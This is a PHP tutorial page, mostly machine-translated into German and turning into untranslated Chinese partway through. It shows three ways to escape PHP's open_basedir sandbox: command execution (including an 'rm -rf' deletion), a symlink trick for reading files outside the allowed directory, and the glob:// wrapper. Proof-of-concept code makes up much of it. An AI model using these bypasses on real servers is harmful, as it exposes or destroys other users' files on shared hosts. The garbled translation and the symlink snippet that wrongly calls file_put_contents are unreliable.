Heim  >  Artikel  >  Backend-Entwicklung  >  So umgehen Sie open_basedir-Einschränkungen beim Betreiben von Dateien über PHP

So umgehen Sie open_basedir-Einschränkungen beim Betreiben von Dateien über PHP

不言
不言Original
2018-06-11 09:58:042523Durchsuche

Dieser Artikel stellt Ihnen drei Methoden und verwandte Techniken vor, mit denen PHP open_basedir-Einschränkungen beim Betreiben von Dateien umgehen kann. Interessierte Freunde können daraus lernen.

0x00 Vorkenntnisse

Über open_basedir

open_basedir ist eine Konfigurationsoption in php.ini

Es kann Einschränkungen geben Der Umfang der Aktivitäten von Benutzern, um auf Dateien im angegebenen Bereich zuzugreifen. Unter der Annahme open_basedir=/home/wwwroot/home/web1/:/tmp/ können Benutzer, die über web1 auf den Server zugreifen, nicht Informationen über den Server erhalten, außer / Dateien außerhalb der beiden Verzeichnisse home/wwwroot/home/web1/ und /tmp/.

Beachten Sie, dass es sich bei den mit open_basedir angegebenen Einschränkungen tatsächlich um Präfixe und nicht um Verzeichnisnamen handelt.

Zum Beispiel: Wenn „open_basedir = /dir/user“, dann sind die Verzeichnisse „/dir/user“ und „/dir/user1“ zugänglich. Wenn Sie also den Zugriff nur auf ein bestimmtes Verzeichnis beschränken möchten, beenden Sie den Pfadnamen mit einem Schrägstrich.

Über symbolische Links

Symbolische Links, auch Softlinks genannt, sind ein spezieller Dateityp, der den Pfadnamen einer anderen Datei enthält (absoluter Pfad oder relativer Pfad). Weg).

Der Pfad kann eine beliebige Datei oder ein beliebiges Verzeichnis sein und Dateien in verschiedenen Dateisystemen verknüpfen. Beim Lesen oder Schreiben einer Symboldatei wandelt das System den Vorgang automatisch in einen Vorgang für die Quelldatei um. Beim Löschen einer verknüpften Datei löscht das System jedoch nur die verknüpfte Datei, nicht die Quelldatei selbst.

0x01 Befehlsausführungsfunktion

Da die Einstellung von open_basedir für Befehlsausführungsfunktionen wie System ungültig ist, können wir die Befehlsausführungsfunktion verwenden, um eingeschränkt darauf zuzugreifen Verzeichnisse.

Wir erstellen zunächst ein Verzeichnis

/home/puret/test/

und erstellen in diesem Verzeichnis eine neue 1.txt mit dem Inhalt abc

nano 1.txt

Erstellen Sie in diesem Verzeichnis ein Verzeichnis und nennen Sie es b

mkdir b

Und erstellen Sie in diesem Verzeichnis eine 1.php-Datei mit dem Inhalt

<?php
  echo file_get_contents("../1.txt");
?>

und legen Sie unser open_basedir

open_basedir = /home/puret/test/b/

Wir versuchen, 1.php auszuführen, um zu sehen, ob open_basedir unseren Zugriff einschränkt

Ausführungseffekt Wie in gezeigt Aus der Abbildung

geht hervor, dass wir andere Verzeichnisdateien als die von open_basedir angegebenen nicht direkt lesen können.

Als nächstes verwenden wir die Systemfunktion, um zu versuchen, die Einschränkungen von open_basedir zu umgehen, um 1.txt zu löschen

1.php bearbeiten, um

<?php
 system("rm -rf ../1.txt");
?>

Schauen wir uns zunächst die Dateisituation vor der Ausführung von 1.php an

Nach der Ausführung von 1.php

open_basedir erfolgreich umgangen, um Dateien über die Befehlsausführungsfunktion zu löschen. Da Befehlsausführungsfunktionen im Allgemeinen auf „disable_function“ beschränkt sind, müssen wir andere Möglichkeiten finden, die Einschränkung zu umgehen.


0x02 symlink()-Funktion

Lassen Sie uns zunächst etwas über die Symlink-Funktion lernen

bool symlink ( string $target , string $link )

Die Symlink-Funktion erstellt einen symbolischen Link mit dem Namen „Link“, der auf das Ziel verweist. Unter normalen Umständen ist dieses Ziel natürlich auf open_basedir beschränkt.

Da der frühe Symlink Windows nicht unterstützte, wurde meine Testumgebung auf Linux gesetzt.


Die getestete PHP-Version ist 5.3.0. Bitte testen Sie andere Versionen selbst.

In der Linux-Umgebung können wir einige logische Umgehungen über Symlink durchführen, wodurch wir Dateien über Verzeichnisse hinweg verwalten können.

Wir bearbeiten zuerst den Inhalt von 1.php in /var/www/html/1.php als

<?php
  mkdir("c");
  chdir("c");
  mkdir("d");
  chdir("d");
  chdir("..");
  chdir("..");
  symlink("c/d","tmplink");
  symlink("tmplink/../../1.txt","exploit");
  unlink("tmplink");
  mkdir("tmplink");
  echo file_put_contents("http://127.0.0.1/exploit");
?>

Dann Erstellen Sie eine neue 1.txt-Datei in /var/www/ mit dem Inhalt von

"abc"

und richten Sie dann unser open_basedir

ein

open_basedir = /var/www/html/

Bearbeiten Sie ein PHP-Skript im HTML-Verzeichnis, um die Ausführung von open_basedir zu überprüfen

<?php
   file_get_contents("../1.txt");
?>

Schauen Sie mal rein.

Wie erwartet ist auf die Datei kein Zugriff möglich.

Wir führen das gerade geschriebene Skript 1.php aus

Sie können sehen, dass der Inhalt der Datei 1.txt erfolgreich verarbeitet wurde gelesen und entkommen. Die Einschränkung von open_basedir

Der Schlüssel zum Problem liegt in

symlink("tmplink/../../1.txt"," Exploit");

Zu diesem Zeitpunkt ist tmplink immer noch eine symbolische Linkdatei und der Pfad, auf den es verweist, ist c/d, sodass der vom Exploit angezeigte Pfad zu

wird

c/d/../ ../1.txt

Da dieser Pfad im Bereich von open_basedir liegt, wurde der Exploit erfolgreich etabliert.

Danach löschen wir die symbolische Linkdatei tmplink und erstellen einen neuen Ordner mit demselben Namen wie tmplink. Zu diesem Zeitpunkt lautet der Pfad, auf den der Exploit zeigt,

tmplink/../../

由于这时候tmplink变成了一个真实存在的文件夹所以tmplink/../../变成了1.txt所在的目录即/var/www/

然后再通过访问符号链接文件exploit即可直接读取到1.txt的文件内容

当然,针对symlink()只需要将它放入disable_function即可解决问题,所以我们需要寻求更多的方法。

0x03 glob伪协议

glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test

并且在/var/www/html/下新建t.php内容为

<?php
  $a = "glob:///var/www/test/*.txt";
  if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
      echo "filename:".$file."\n";
    }
    closedir($b);
  }
?>

执行结果如图:

成功躲过open_basedir的限制读取到了文件。

以上就是本文的全部内容,希望对大家的学习有所帮助,更多相关内容请关注PHP中文网!

相关推荐:

关于ThinkPHP中Common/common.php文件常用函数的功能分析

PHP 中TP5 Request的请求对象

PHP的Cannot use object of type stdClass as array in错误的解决办法

Das obige ist der detaillierte Inhalt vonSo umgehen Sie open_basedir-Einschränkungen beim Betreiben von Dateien über PHP. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn